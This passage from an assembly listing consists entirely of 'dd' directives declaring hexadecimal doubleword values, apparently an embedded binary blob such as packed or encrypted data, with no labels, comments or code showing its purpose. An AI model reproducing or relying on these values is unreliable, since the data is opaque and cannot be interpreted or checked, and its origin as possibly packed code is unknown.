0EE00631Ah, 0CEE0F697h, 226ACBh, 7E6B9DE7h, 0A7308903h dd 80731897h, 68B402D3h, 0C952EC8Fh, 8095EE70h, 0CC17705Fh dd 7B59B336h, 0E8BBC09Fh, 0E4B3CD8h, 1AC8649Ah, 1EC9D1C0h dd 3853010Eh, 91BD0BB2h, 12943932h, 54EFAF5Dh, 532CDF4Dh dd 265F1282h, 0BD121CDAh, 72AF3045h, 48B5618Dh, 58D36F81h dd 163014C1h, 64EC0BBBh, 16F4227Ch, 59E61812h, 0B4FC37D0h dd 58718513h, 819901AAh, 0C5B962EBh, 0A8282B04h, 6F3BD237h dd 12500D4h, 0FFD6D1E5h, 0C9E32780h, 0D4CA5490h, 82B7F61Eh dd 8B151F98h, 97FAE4DAh, 5171851Dh, 60D3CD7Ah, 294071D2h dd 4076945Fh, 25BC19D3h, 8A495400h, 845BDD3Ch, 894C01E0h dd 877578EBh, 0DC6E2B4Dh, 4D07993Ah, 140FEC60h, 0B37CA483h dd 0A68AA24Bh, 0B7044D12h, 70F7A273h, 0BCA7246Bh, 0A41F5914h dd 0BAAFB35Dh, 0D42DDCB2h, 3A07A6E4h, 35928DE2h, 0BEE49A0h dd 2C68959Dh, 1697870Fh, 0CBA4C1BEh, 60B7C1FCh, 0BC4AB500h dd 41B0CAB7h, 0B9485A52h, 5C112C5h, 237C6FAFh, 220E021Dh dd 7A681923h, 0B64CD8E9h, 9D277AC2h, 965E843Dh, 8A603EC0h dd 800F28C1h, 44614C77h, 3517A158h, 8B32406Bh, 8D8996DFh dd 0ED17D92Fh, 6016E44Bh, 0FC051338h, 20A61EE3h, 467BEDCCh dd 4D27AD21h, 3177E0B1h, 0D0B5D8D2h, 0F6145ACEh, 301BF228h dd 177DE383h, 57BF5509h, 85EF7128h, 0B8259529h, 9D330F88h dd 7FAD3309h, 18C1ABCh, 350BCDC2h, 6BB4234Fh, 41AD4C2h dd 56D1B8F5h, 9CB3F083h, 0BC120073h, 982CF574h, 0B510298Bh dd 0C54A18A9h, 0B8A2A9D5h, 0DD9301BAh, 95DE9B58h, 0A1DA2A79h dd 0C9C01CC8h, 5E6B91Fh, 5C1253E8h, 9D44C319h, 0A474ABB4h dd 2480FAE4h, 0C0562DF7h, 23958501h, 82B61B4Ah, 359D3104h dd 2A22AF30h, 87B2AD8h, 4D721C15h, 591060A9h, 5328C2A4h dd 6009870Ch, 737054E4h, 0D625A49Ch, 11C5D509h, 448771E3h dd 0FA7BEB7Eh, 60A7E505h, 0DADCCC53h, 0EDEE5900h, 38B77CEBh dd 0B8D00006h, 0AAEC2D7Bh, 0EF246D95h, 7908B65Ah, 9661000Dh dd 3B8684BBh, 0C450222Dh, 38BFF436h, 0B000DE4Ch, 41AB2746h dd 320787D4h, 6231CFBBh, 5D965FB2h, 0D8010BB7h, 0EBA5BB19h dd 0C89F9A2Eh, 95FC014h, 1E9231B5h, 92673BDh, 0EA71DBB7h dd 716D5B25h, 3CF181Dh, 0C23E7019h, 0A7F9AAF5h, 87887AF6h dd 9E295A3Dh, 2C809C3Eh, 0D380D602h, 0F9149736h, 0FB953A70h dd 0B9D8D34Dh, 0C4025860h dd 9CD966A6h, 60185E91h, 0DC3DEF81h, 0C255FD25h, 6B61F5F6h dd 3DAA0435h, 0A86329AEh, 0E0ABF11h, 315908E0h, 5791E909h dd 1D0AB289h, 0C18B42EBh, 16DCE7DCh, 0E89DEADFh, 0CE2A2508h dd 41C7B6C7h, 0DF0B099Eh, 0F188949Bh, 0F800326Bh, 300E7D04h dd 0A2902672h, 0D57909BDh, 0BFABC118h, 11682D00h, 36EC5948h dd 58904CA1h, 0BC755D36h, 0D26184C9h, 79B7B529h, 9D7889B8h dd 60075686h, 0AE91B490h, 0EBFC5E00h, 26A59C2Dh, 0DF810177h dd 6C057EDDh, 0F4F8825Bh, 7F071F7Bh, 47D10A01h, 0F38E208Bh dd 7984614Bh, 0ECC053DBh, 21B27C78h, 0ED03E87Eh, 8A9089D9h dd 0BBB9FDDCh, 9BA45B25h, 0FA9DFB03h, 5E29017h, 9589102Eh dd 7B9D1CFEh, 9D038708h, 2560905h, 76CF80E0h, 4DFBEFFh dd 0B86F2DEFh, 849FA323h, 3147ABFh, 0D33BBEBAh, 0DFD42764h dd 317CD754h, 1008026Ah, 1A862BAAh, 40149404h, 0E8480A62h dd 53777513h, 0E5C176ADh, 74CC078Ch, 0DF2DBFFEh, 8452D17h dd 0B609AA3Ch, 0B775907Ch, 5E1E28h, 0CB78311Dh, 0FD01C8ECh dd 6934F781h, 0C6660446h, 0AE4EE912h, 41FEFD38h, 0E08B767Bh dd 3A0933B0h, 5B852BB6h, 0A9F3AB69h, 0B5ACB8E4h, 98951BF2h dd 7DFCBB1Eh, 0D93EF7EEh, 76B23BE1h, 4B75A344h, 0A9FBC46Bh dd 16D1B8F3h, 96BB5192h, 162554E3h, 9021CCC6h, 25A52D09h dd 0F6C98D71h, 8E4ED495h, 0CDF27585h, 0C9B98800h, 5DE1A436h dd 5A081D03h, 0AC87BA07h, 81C02AB8h, 7F0916E3h, 0DB6A0D3Eh dd 0B797E4DBh, 98884ACAh, 283E0796h, 40D71151h, 5737D8A0h dd 0F19FC2B0h, 4816F975h, 0EB271939h, 0E744E8h, 0ABC5A7A9h dd 0B82162AFh, 6898B24Bh, 70D98A36h, 7A57F180h, 2E02590h dd 0E7971527h, 0B3405638h, 614BF78Bh, 14807981h, 0CAE26013h dd 9A636FA0h, 0B403DE58h, 0BBBA1337h, 90ABCC4Ch, 0CDE781EBh dd 71E42718h, 4BB7E30Eh, 0ED86928Bh, 7284FF29h, 0FE330B24h dd 8C5849DDh, 0C6C38012h, 0E85E89E2h, 3660D8DFh, 3ADB3B85h dd 8B22C31Ch, 9A0F7908h, 9A2FCBC3h, 8E5C09C2h, 60B72230h dd 0BD7D5BBEh, 0FAC827D7h, 2799200Dh, 2D5A729Dh, 68CC2D1Dh dd 1A1967BEh, 1C70F827h, 110E6129h, 6B1EF99Dh, 0F08B9489h dd 875C0BF7h, 0DA1D22B2h, 6D853A51h, 0C888B8CAh, 0DF80842Dh dd 9276B810h, 0D680CDA8h, 63807E96h, 84824C02h, 0A08758E9h dd 48D28110h, 4BE20140h, 34FE8419h, 8EC12BC4h, 0E36B5F5Bh dd 63A85B1Ch, 0BC4EBFC0h, 11971D73h, 2B111F88h, 7F622DBDh dd 0FE20A550h, 0CD192A0h, 8595D1CAh, 76B9F844h, 1EFBFE82h dd 804A37DDh, 0F9119BE1h, 81172969h, 0B6FD7553h, 6D83DF09h dd 57CB6E56h, 9D0BA690h, 17147520h, 0A708D3B9h, 4EBCA072h dd 0D1DAA078h, 7264952Ah, 0F05636E3h, 0E7EDB0CDh, 7C7EC36Fh dd 4BFB9F98h, 81A7045Ah, 6528EDF1h, 9E202BCFh, 946D9D2Bh dd 0FB5627C9h, 0C201055Fh, 364FC0CEh, 9D242344h, 90AFDD29h dd 0EE4D6BEEh, 0F96400F7h, 0D4749DC6h, 5BE83A88h, 0AF885D4Bh dd 94CF0481h, 0F36C0F4Eh, 96564D49h, 3F19B04h, 236E6FABh dd 0C5D20118h, 6EED9E28h, 61E5DEE1h, 4A79B37Fh, 0DAD791CBh dd 0C9F980BDh, 4E474C76h, 897DB995h, 0C610F7D9h, 0DB003B86h dd 601D4FBh, 2D46DC1Fh, 36D76ABh, 957610C0h, 79697221h dd 0F45E65F5h, 4AACACDEh, 6D25C9CAh, 1160BDEFh, 92B89833h dd 493DBD68h, 0CD3E3500h, 122914AFh, 0F72A119Dh, 0C3F53102h dd 4928E1FFh, 59B9049Eh, 0A4ABC083h, 5A000556h, 8061B3D2h dd 4BA3752Ch, 7EFA8A88h, 2C7A045Fh, 0D6617100h, 66C13A4Fh dd 0B1271798h, 39E6C0Bh, 8D19A2DFh, 2EA8F237h, 5F4B317Ah dd 562230CAh, 82939AB5h, 5E16B14Eh, 5DD47336h, 0EDAB78Bh dd 6F541192h, 98997DFh, 0FBDCDC74h, 8925AE36h, 571745F9h dd 0BA4CFFA3h, 9CFB2578h, 0B79F16E4h, 0A9D8065Ah, 7E13B4B3h dd 0B6AD57BEh, 0EF07944Bh, 0F64FD3A8h, 3C50E12Dh, 50498DCCh dd 95F88FF1h, 2FF52799h, 7AEA0856h, 938F1D65h, 5A2E874Bh dd 6FB79FA2h, 0FC89B10Ch, 9568BDDEh, 580968FFh, 5549C4A0h dd 0A3A7CC81h, 897BDEDBh, 0DA570h, 0D206CA5Ah, 5805087h dd 75EB1A95h, 0EB3FAF46h, 2EA49FA0h, 0C300C2ACh, 359D928h dd 26249785h, 0D64EB861h, 29E97B04h, 231091Dh, 1F4F3D7Dh dd 3F770365h, 66FEA44Bh, 5E27D927h, 1846DE4Fh, 0DAC72D02h dd 63DE06CBh, 5B52E604h, 0BD8798B9h, 0DB527869h, 166A70D5h dd 0D1091402h, 5C15F632h, 0A77D6FB9h, 689EBE8h, 0CA6069ADh dd 62097184h, 243DBA34h, 22D59D21h, 0EE9F743Ah, 31826220h dd 97EF0477h, 83B5D9C1h, 0BD469F7h, 558045Bh, 2580ED53h dd 56B2C2E2h, 0A919DC6Fh, 35640BDEh, 27015143h, 3C4B960Dh dd 94C48C92h, 0F5B5574Eh, 38807F28h, 40E72F0Dh, 951D8B74h dd 0D8529610h, 0B24ED1E3h, 6A250062h, 0D72FBD3Ch, 7F169D26h dd 0C5479097h, 917BA7h, 22499CF1h, 0C8E10984h, 0E62F5878h dd 23BD7AD5h, 0FD806B07h, 0A735F3DFh, 1D210281h, 0CAAD6F64h dd 1A30C660h, 0C8DCF832h, 0B584745Fh, 48DF864Ch, 20351D9Eh dd 1CEC44AAh, 44FC2676h, 3E00E10Ch, 65902C1h, 79EEEB27h dd 58D7A12Fh, 3016E3Eh, 8017BF15h, 4E8D9AC2h, 80F970E7h dd 3507BF90h, 50683E03h, 0D1BD2B71h, 0C7811D80h, 5CD3DF2Dh dd 577A3A9Dh, 7901C5B5h, 350D8D89h, 55A67Fh, 87C41763h dd 0FF71A2h, 0ECBFE44Bh, 61B7D35Ch, 0FE78879Bh, 678C00C5h dd 0D266A126h, 3309B727h, 7B1925BDh, 181DF944h, 0CB70002Ch dd 99BC4D64h, 864F2381h, 9578CD76h, 3D28AA6Fh, 0E910D20Dh dd 0A07B1321h, 0D582153Bh, 0F3D2D31Dh, 51DC5079h, 0D827DEB0h dd 0C2CB6D5Fh, 2DFEB1D3h, 10187369h, 8C1DFC44h, 0A57D2500h dd 3CFF8C3Dh, 0BEC52960h, 651266E3h, 0F2D5F681h, 0E4604D55h dd 0E659601Ch, 0EA7D0208h, 0E3ABF9B3h, 6600B4D9h, 5790DCB1h dd 16E80193h, 6E7338FAh, 7C74031h, 434841A0h, 8B3D25F4h dd 0EBC854E6h, 6350D6FBh, 18CF0186h, 5D74E462h, 3E093EB2h dd 80A67334h, 0D4C3EB81h, 17C0C9Ch, 0EE1B5925h, 5D95F83Ah dd 9602298Dh, 5AE8BCBFh, 0FE4C0775h, 71F9FB9Bh, 48A53EDFh dd 1BBC917Dh, 0DF49008Ch, 81E92FEFh, 0BB15C13h, 30B4E180h dd 1D115BB8h, 242739h, 44B6684Ch, 8C25A6BAh, 9F36E63Eh dd 0C8939908h, 78138026h, 0BA6B39CDh, 1D67A33Fh, 7CCFAB21h dd 1B884237h, 6C2B5E38h, 95A05E4h, 0A64FB3B7h, 4142E04Ch dd 9654B20Dh, 4A0269DAh, 0FE5C99E7h, 71B75B2Dh, 0BECE0FFh dd 0F2BF4A03h, 0DD8044BAh, 205035C1h, 5EB8D26Dh, 1BDEFF26h dd 0C96D7705h, 2D208CCh, 7AF930DBh, 65E26A2h, 4FACBE68h dd 88AC2A16h, 0E3DABAB4h, 6AE30682h, 0E0788973h, 0F9223EBCh dd 0C81A9ACBh, 1B87C01Dh, 830EF419h, 0AB346E2Ch, 81875BCh dd 580BD381h, 0EA0AE439h, 753D5F81h, 5BBE5A00h, 7A2012AFh dd 20ABB050h, 0D6B0117Dh, 4007F95Fh, 738BE13Bh, 0AAF0709Ah dd 0EED8B102h, 0A952B77Eh, 113DF592h, 8DA54D82h, 0DA35C10Bh dd 0EC84352Fh, 0C4B380A2h, 0EAEE2793h, 0D44C03BDh, 29732D60h dd 0BD49C1BAh, 7D282F5Fh, 0D88A885Dh, 89519679h, 0A8883F67h dd 0EB1C008Ch, 9BF6500Dh, 830084CCh, 8C1043Ch, 12E523CEh dd 8C5FF88Ah, 0C200FC08h, 0F235F4BBh, 0EEB77528h, 961527ABh dd 58C0866Dh, 166A4C0h dd 81E46EBFh, 0EDCA35F7h, 928A6B13h, 8AC4EEA5h, 68B68713h dd 80141820h, 843310F3h, 0E0AA8531h, 9A97F57Ch, 40BCD637h dd 6F9EDAE0h, 69DE4700h, 6D9D3353h, 8CC4AB17h, 5910DAABh dd 0BF34BC45h, 0D554E70Bh, 1F02B51h, 84D7820Ch, 0C60B1F25h dd 0C7BFC623h, 0B42BBCCCh, 293EF2BCh, 0D8C9FDA5h, 0BBC36AADh dd 501B8E51h, 628B6A1Eh, 0BB186C1h, 91BC3757h, 0CCFE811Ah dd 0E4F07199h, 1884BFA6h, 59E41F23h, 376B0927h, 0D8858F82h dd 3A98CBA0h, 6A4E5DA7h, 0BFBC86E9h, 7A953901h, 82E10356h dd 43FC46B0h, 82B51F8Ch, 55F5AB69h, 0FB4B9DC4h, 5754EF30h dd 0B17800E7h, 2670913Eh, 2504EB94h, 0A7078D69h, 5C8096A8h dd 28D1BF7Fh, 0C5E6EA5Eh, 923FE54Ah, 7AFED85Eh, 170700E5h dd 9DC88C98h, 0A8655A16h, 5E1C270Ch, 0A359C21Eh, 0D76C3A57h dd 0C900F8B5h, 353A2B10h, 29EEA058h, 2D65B503h, 24E5B504h dd 0A0E5F664h, 160533ECh, 0AF6F6D15h, 0C0A3302Ch, 7C68BB2Fh dd 6E907AECh, 7195B570h, 0D62DA488h, 8B536F00h, 0C149BB90h dd 50792F30h, 0C4A1544h, 0F04874AAh, 905D5FB4h, 6BECBDFAh dd 0EE050462h, 0E8B987E1h, 6FC70035h, 0A4DE8022h, 4A7BB561h dd 0E6726E5Ah, 59ED0984h, 110FA15Fh, 782704E8h, 18E925D6h dd 4D71EA5Ch, 0DB7E8921h, 6196C045h, 3F03DE0Dh, 224AC99Dh dd 6CD51227h, 1C6A0092h, 1487D669h, 0BA0BFA88h, 759D893Ch dd 0BC5BD1A4h, 0FAB6D94Bh, 0F0018D6Bh, 0B8008C68h, 7EE41C77h dd 0F46D84C6h, 2AD10051h, 0C31BC1C9h, 0B7006050h, 5A59B966h dd 4E610B52h, 0E10FF690h, 887EB129h, 0A0083B3h, 9A01E0EFh dd 220FA6Eh, 0EC7E4A68h, 51E03B0Dh, 6EB51032h, 9756799Bh dd 870F64B0h, 41AFFCBCh, 0D841D63Ah, 0AB0427A1h, 0EF096D63h dd 9D2E7079h, 96D00073h, 0CCAF50DCh, 5A284BD9h, 3DD79665h dd 0A938073Fh, 2F025B53h, 5B040D19h, 29882EBDh, 49858941h dd 0D7811983h, 4C90E3FEh, 0E9BFB061h, 0E6001618h, 85790970h dd 89BC055Ah, 0C119582h, 8FACFB31h, 3B216370h, 0B17B1CF8h dd 0ECC95F02h, 5E2EEAC6h, 9F91718h, 14D70CA5h, 9D290925h dd 0B15C2725h, 69216BEFh, 0E330C189h, 198497FEh, 0A182C1F8h dd 0A28C2B23h, 2ADA41BFh, 35197320h, 5E280085h, 1DC5C9F6h dd 3F097520h, 7AB6AE79h, 1F312229h, 3D63F29Ch, 857D2D01h dd 0F598CCD6h, 97306196h, 6E772892h, 0C714567h, 1800148Ch dd 8B1D5EB1h, 1AF80B2Ah, 40D4F147h, 18DC675h, 3336BE0Fh dd 2FC819B7h, 8B0B4048h, 79C442E9h, 762B412Fh, 0C233E7EEh dd 0CC55160Dh, 2B2745B5h, 0A5C53287h, 7FE1809h, 60604F9Bh dd 5A499D09h, 41C3E211h, 0D9D4927Ah, 99B097B8h, 53971F06h dd 157E7860h, 188CC80Bh, 81CE3DB9h, 0D6CA0A14h, 44E3E062h dd 8F00BBA6h, 1E96B6AAh, 0BC6507Dh, 887941F6h, 0A589B557h dd 9074D030h, 635E5F01h, 80C02D2h, 1EBAF0EEh, 0D6B9F758h dd 92519E07h, 6CBB3700h, 3D141FCEh, 0C8C81980h, 0B8B5B134h dd 0B06E5F72h, 2D02B35Bh, 6337FCh, 63FF1914h, 0F48D5FDh dd 0FB34A43h, 144D9D08h, 0BD2DBA1Ch, 0C61980C4h, 18572F3Dh dd 260F9A09h, 69947BD9h, 0D549A04Dh, 92600B84h, 81071571h dd 0D0A7FB50h, 12849039h, 0BD235DB5h, 8C17B839h, 363B7309h dd 0BBD460F6h, 34184FF2h, 3B20EBCFh, 4D19E2h, 6E939D1Fh dd 10685611h, 0BBD1F000h, 122004BDh, 0E1525B5Bh, 0ECD5D6D9h dd 7E9198h, 0ACDF109Dh, 0E2009F95h, 0EEE5FC40h, 1668AA81h dd 0AF70B3F4h, 3E509D2Eh, 823041E9h, 0AB47A3BCh, 514E5E7Dh dd 489E7B6Eh, 0F303C8C0h, 33014E99h, 23CBB14Fh, 0BF54819Dh dd 1DA8C1BDh, 0FA788Ch, 0DBBF29CFh, 585FBA6Fh, 0FE4E8998h dd 0B62A49A1h, 599D134Ah, 0E1FF7F47h, 1939E4CFh, 8E4938AFh dd 0C5B1618Ah, 113B1C2h, 0E62B9602h, 0A9BF04D4h, 0BC555B17h dd 5F48A21Ch, 0BC60ECCFh, 5A0741FCh, 5724846Bh, 0B86FBFD3h dd 0A9215500h, 0C8BA6E5Ah, 3DB5091Ah, 255E5C53h, 8D0F5244h dd 0E246C2C9h, 57F5F0B4h, 0D6D5382h, 3EBC5F24h, 92F01156h dd 0B201D020h, 4516BD2Dh, 857FB362h, 9788ABFFh, 0DDC2E1FFh dd 9D89CE37h, 543155D4h, 3A342FF8h, 817A8CFAh, 0C9E1DF04h dd 0F0AF7232h, 5BB8950h, 6A9EC927h, 32BC4A6Dh, 0EDA19050h dd 4DA8024Ah, 3941BBE0h, 50027DB0h, 2B20FABFh, 895C5661h dd 0CE9B820Fh, 0D424EF85h, 3531D8AAh, 7D605525h, 1520C512h dd 0A0FE583Ah, 40CDE07h, 61125E91h, 904C5A5Bh, 987B80BCh dd 5E8D0B76h, 9A75BA81h, 58FD04C9h, 95349CE0h, 0B0A1506Eh dd 53123F25h, 0F1252E3h, 0C18898Fh, 0CF0181AEh, 1AFBCA76h dd 7228FCE9h, 8DB5290Eh, 0D23CF272h, 20A812A9h, 6D101B04h dd 37BCD17Ch, 180EA74Fh, 2F54A747h, 99740070h, 0F4B48549h dd 6A05873Ch, 0CF2C7206h, 0B1000AF2h, 75F730B9h, 0ED00C8FCh dd 82B2E55h, 9786E88h, 5F49BD9Eh, 5B9F617Ah, 0C5F9D02Ch dd 4B02CD7Dh, 99BD01EBh, 4210552Ch, 99978CBEh, 0B5D8316Ah dd 22B88409h, 44DD284Bh, 6BEC32Eh, 4462909h, 0C4FC1896h dd 9A67EE3h, 0CFC0696Eh, 2D7C6188h, 0AE74C812h, 44134960h dd 63BF2C41h, 0B8501262h, 0C844BF8h, 0A37BABh, 0AFE8C2E3h dd 9119EFF9h, 69646999h, 0DFED5A00h, 66FD3AA3h, 8F6000A6h dd 4DB3FE3Dh, 6E05F121h, 53502867h, 0AD80CAE8h, 2E737809h dd 0CFF39900h, 8C3492Fh, 54AC0430h, 895B88B6h, 705278BFh dd 0BB36000h, 6EB96653h, 0A2594B09h, 7329487Bh, 4FBF6688h dd 61FD4455h, 0C0CBEB24h, 34AC3D59h, 4D68E913h, 0FFF54A16h dd 0BF22802Bh, 0C2F8614h, 4BD2D81Ch, 9739E9FAh, 0D9A113B6h dd 0F8C2F827h, 64AA4D97h, 0B92F601Dh, 895703D6h, 293B1CFCh dd 944231DAh, 0DD60164Ah, 6BB361DBh, 5681B78h, 0FC6B2B7Fh dd 7692BB66h, 0C23DD761h, 0B6821491h, 2F5C7CB3h, 7B3F5A51h dd 982A07BEh, 79D92229h, 9D2B824Bh, 0E9020971h, 0CBDF744h dd 6B5ED780h, 2AC9441h, 8529BC78h, 5D5E2B61h, 0C0D64977h dd 7AFA1713h, 57E20200h, 5EF62DF5h, 0FBC5141h, 59C215C8h dd 9A0A4529h, 0CDF75492h, 43AFEF78h, 1488DEC0h, 0F526838Bh dd 9A6474E1h, 92CAAAh, 38C9F333h, 98F9FD8h, 9D89F582h dd 0C3A451DEh, 0FC597C27h, 0E69D1802h, 0F7BD4C34h, 9CA4008h dd 5E7B16A1h, 2D8873A5h, 2B415DF0h, 0E74A5938h, 596A4B6Ch dd 8994A94Bh, 60277CEEh, 0B9A53140h, 80BB8C3Eh, 612D2EFFh dd 4CE633Ah, 31371244h, 60B59896h, 8BE58A02h, 695061C8h dd 0C82FD01Ch, 0C53EB75Bh, 8A54823Bh, 40D8BE59h, 0FEE64Dh dd 78355A26h, 6151458Fh, 0D9DB964Ah, 0CC493E80h, 50B7E5D2h dd 0F2BB0589h, 811A9DCAh, 4A03251Ch, 12B158E2h, 6FAE1391h dd 1D234Ah, 305C9BA6h, 0CD0B8F70h, 5D2BA876h, 0CFD7CA1Ah dd 0CC26345h, 4811EFE8h, 7061872Dh, 0B40F3562h, 0AE6684DCh dd 1C23C96Fh, 933F8F01h, 946EC130h, 0DDBCB833h, 25D674AFh dd 7B6BC471h, 6A485096h, 0D4FC0101h, 0B376C6D0h, 985A5A2Ch dd 212D8DDEh, 519F7B35h, 799F1817h, 0E747480Ch, 122BAD10h dd 0D0F0F88Ah, 5A3DF60Bh, 4C99F725h, 205D161Fh, 439E6FBAh dd 96FF0078h, 6BE7E0E5h, 7C4E2D18h, 91298C6h, 8DC9B9BDh dd 0F8E98D6Bh, 4D8AC595h, 601BC442h, 0E41FA5A7h, 0F8BD1787h dd 0FAF2C539h, 9CC1CD9Eh dd 2E952939h, 880FBAD1h, 0FC4A0206h, 0B5DF2BB0h, 1FFCA0E2h dd 2F7F01DCh, 91BF6639h, 0FE82598Bh, 78006CF1h, 982E301Ah dd 838D00ADh, 877BDAD7h, 76256C23h, 1788E65Fh, 82AD8D09h dd 775EFC4Ah, 1103C51h, 0DBC1995h, 0F4BB9600h, 317789D4h dd 0F8D85650h, 29EDF25Bh, 91FB86E0h, 62790B0Bh, 9AD554BBh dd 0CB955DACh, 9CBA5944h, 59FACADh, 74AF2095h, 0F6D0129Ch dd 301CB2D1h, 520013AFh, 70C56A64h, 5F89964Ah, 0BC439495h dd 9EBD7D6h, 96D7307Fh, 92D2792h, 5D728C5Eh, 0B7F7D1CAh dd 5E7A1871h, 0E5B52D29h, 2035A5BBh, 9BAF1A03h, 0B2D3F8D7h dd 6DCE2515h, 0E8D5FE92h, 256B5BB2h, 77E3F4CCh, 0C64EDB7Ah dd 0F1E8D5A9h, 0C2CBCA4Bh, 0F137E912h, 0B8EE2DB9h, 17E8757Fh dd 0F8669821h, 902F2047h, 2CB9259Ah, 6DA5EF79h, 8A9A4037h dd 1C018BAFh, 5233E7B8h, 13338F0Fh, 603F5F2Eh, 2EDE7298h dd 0FB00B2E4h, 63D86C2Dh, 986BCA4h, 0EBE2A092h, 0F3B719D0h dd 2705D8E1h, 0E21A002h, 0C0FC1AACh, 4ECBF3AAh, 5EE2BC26h dd 58D19A27h, 0B9E4375Ah, 0F01A04B8h, 0E479257Bh, 47781317h dd 0F22F0C41h, 0E096025Dh, 0D1EEFFAEh, 6C1AD38h, 346E3F90h dd 0E73C3F14h, 7E6A2F02h, 92D7A40Ch, 3580DFCFh, 4E027423h dd 7727E625h, 296A4899h, 0B8BCA4h, 83851EEEh, 0CB97690Fh dd 0AE98D11h, 5F095E1Eh, 0A5A100CFh, 0FC31A6A9h, 0C95C9DF4h dd 0DBB3C510h, 899BDA0Fh, 5D377F1Fh, 0E8EDAD81h, 0AF6898A0h dd 91B85680h, 1F5D092Ah, 405F2721h, 5A9D29A0h, 90CA8331h dd 50DA1C14h, 0F98C0D1h, 0B6792734h, 0EFD16961h, 4CB85B96h dd 35210116h, 84F2F9CDh, 9FAB2349h, 9CE581D3h, 0A32B60FDh dd 5C6131C0h, 9D2E0A05h, 91C72EABh, 43218F35h, 743A2BD9h dd 32E3AA89h, 12499D0Bh, 32004A7Bh, 0FBF385CEh, 98FD008Ch dd 0BB918B52h, 0FF276B7Dh, 1A8045D1h, 0B7D7387Bh, 7A798090h dd 0C40D1722h, 81F84500h, 6E781CE7h, 26A257Ch, 0CD3757h dd 0F5D2FC57h, 66055F3Ah, 507B95BBh, 688765FCh, 552200E0h dd 0C9090A0Dh, 0E2413E61h, 137C7CE9h, 0D363A912h, 9A817FB8h dd 2080A937h, 719581B7h, 94A5C4CEh, 436EAF6Ch, 626D8600h dd 0FD735DE7h, 0E2F9254Fh, 0C7E2DF8Bh, 0F9C07EEDh, 9DE03203h dd 0CD2647D3h, 32E4D08h, 0FE8A5090h, 9213E9A4h, 2B0F11F6h dd 0AEF2219Dh, 0AFBF8270h, 0BF5CF8DDh, 54D5FC0Fh, 0F20555ACh dd 0FB8BC908h, 2E8546C1h, 16B0EF37h, 7F1DFDDDh, 4084FE56h dd 3E9F88Ah, 0F9F1388h, 70AB1892h, 0DC6D709Bh, 69220C00h dd 8A7766ECh, 799009Ah, 0DD1AAF73h, 810119D9h, 0E17EFDC7h dd 482FB009h, 722D1C91h, 29543B2h, 0B4C191BFh, 92187466h dd 25ECF3D0h, 25D129h, 0CDBA5160h, 642459DDh, 8B60485Ah dd 2D6E42AFh, 0BE7B6172h, 5E04E225h, 0A209136Bh, 41886703h dd 0C82B0308h, 0D1D2A8B7h, 6D559640h, 121B4497h, 0D28D8953h dd 94E05F45h, 808005CDh, 0C41A4BCFh, 189EBCF0h, 0BFB3315Dh dd 1C616ED3h, 77B13013h, 0F72C1204h, 6F6054E7h, 9A96AAh dd 601A085Dh, 9CF564F3h, 0FB772D06h, 5A4E5F70h, 24AAF7DFh dd 35123A09h, 0B7BD8CEAh, 20BB8D4Ah, 59BD2385h, 0F7D8144Bh dd 0D380881Dh, 8469E840h, 54FB8B4Bh, 77408B16h, 0D8614B60h dd 104378EDh, 493114E2h, 0B7545EA7h, 0FDE04535h, 9A7B9D33h dd 2E2118B1h, 5473B901h, 76F1ABCEh, 0F0DFE67Ah, 4BC2DDEDh dd 5566EFCh, 493BFC8Eh, 40ECB103h, 9EBE84B8h, 9EDCC1D8h dd 0C237F79h, 0B0E3B84Fh, 0EC91B17h, 0BA2430F0h, 0B27CB716h dd 9ECD55FBh, 5E2F3A24h, 1970D403h, 4EA08E1h, 3E20835h dd 0D28AEB0Dh, 597D31A0h, 0E61C8F25h, 46335C64h, 0F9791F25h dd 0B08B557Ah, 68928B2Bh, 12D05Dh, 24355E59h, 4363C5AFh dd 0BD5E9497h, 4DFDFE62h, 4853E01Dh, 0B50EC15Bh, 0CEEF0B0Fh dd 1A296980h, 69305C1Eh, 24F1C482h, 0C3FCE124h, 8830E2D2h dd 0C4D8AD14h, 90161920h, 45456457h, 0A438BC61h, 0DB811B00h dd 953E1F55h, 0CB9A4FE5h, 5D8F41E9h, 0EB6660C5h, 0AAE19BF0h dd 415BC801h, 8EB74DE4h, 0BD4BE43Ah, 0A5289D21h, 0A5DBD569h dd 0DC3A5443h, 0A31F978h, 42E6BAEBh, 0E3FABFD0h, 815A302Bh dd 70015BE3h, 0B5897E01h, 0E23A2D59h, 7DF6D713h, 7812FBA3h dd 0A949D523h, 3E08450h, 0BA594355h, 8293E94Ah, 777C40BFh dd 29A52522h, 3AE76800h, 0B720127Dh, 0F1EBC66h, 32623918h dd 56516630h, 860B1FA8h, 5CCACFA7h, 0B99EDD24h, 318582A5h dd 56C01429h, 0E96EA0F3h, 9502703Eh, 0D2DE8056h, 4BB1B2DFh dd 0E8BC6DE9h, 50D64801h, 0EF9E5AF9h, 0EEB3242Eh, 0B8D6ED9Bh dd 0C2D18E9Ch, 408BBE8Ah, 8321F9AEh, 0EA8CBDD3h, 0A64A83CEh dd 2036A0C6h, 439A0954h, 5D8D29E2h, 50E66A66h, 0D1951273h dd 0FC19BC0Ch, 10B88C1Bh, 1FEFCA0h, 0CC9D084Bh, 5130FCC7h dd 0ED0217BFh, 965F13A0h, 4002DC60h, 58FA36E7h, 4C49BE00h dd 0B8EE2180h, 5FCD1C0Eh, 1416A914h, 8400BB8Ah, 0E637918Fh dd 93B8424Eh, 0CF61F938h, 0B00036A3h, 3B38F2A5h, 20099E85h dd 5396CFECh, 0A95E708Fh, 2BD1D4C4h, 0AE00E1B6h, 5CC4A26h dd 401DE28h, 5C8E138Bh, 132F3CB5h, 0EC2CFD1Bh, 0FA2535E2h dd 6896A47Ah, 0B0D7B600h, 838FBB6Dh, 0CE19491Dh, 0AFD4490Fh dd 118B296h, 22233D72h, 0F320DD66h, 8D784B44h, 3B72DCh dd 277DDFA7h, 5B7CA2A8h, 0C4B7FD1Ch, 0C2162CB5h, 236ADA26h dd 878351B7h, 0A0B1535Dh, 26B52949h, 490D25DDh, 0D356B86Ah dd 62CC0055h, 308A1550h, 19D1BE09h, 48C412h, 0A83F9EEAh dd 1148D9AAh, 0C22F7CEAh, 12DB761h, 7AB4E3F2h, 54A57F5Fh dd 4ADF02Bh, 0A702ED95h, 0CF005435h, 0BB51C8F6h, 7985094Bh dd 0DA595F77h, 1C352C46h, 2741E9F5h, 0F40D74h, 6FA8AA41h dd 80E8CDA1h, 0D94BDBE2h, 2AB9B68Eh, 4EE28485h, 1CFD2800h dd 10F24D6Ah, 0A6AC3A0Eh, 17DEE21Eh, 0E0EDD7D9h, 0DD303FE0h dd 25E89827h, 0CC5C137Dh, 5F04E273h, 